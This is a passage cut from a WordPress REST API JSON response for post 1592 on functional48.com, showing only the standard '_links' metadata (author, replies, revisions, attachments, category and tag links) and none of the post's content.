comments","_links":{"self":[{"href":"https:\/\/functional48.com\/index.php\/wp-json\/wp\/v2\/posts\/1592"}],"collection":[{"href":"https:\/\/functional48.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/functional48.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/functional48.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/functional48.com\/index.php\/wp-json\/wp\/v2\/comments?post=1592"}],"version-history":[{"count":1,"href":"https:\/\/functional48.com\/index.php\/wp-json\/wp\/v2\/posts\/1592\/revisions"}],"predecessor-version":[{"id":1593,"href":"https:\/\/functional48.com\/index.php\/wp-json\/wp\/v2\/posts\/1592\/revisions\/1593"}],"wp:attachment":[{"href":"https:\/\/functional48.com\/index.php\/wp-json\/wp\/v2\/media?parent=1592"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/functional48.com\/index.php\/wp-json\/wp\/v2\/categories?post=1592"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/functional48.com\/index.php\/wp-json\/wp\/v2\/tags?post=1592"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}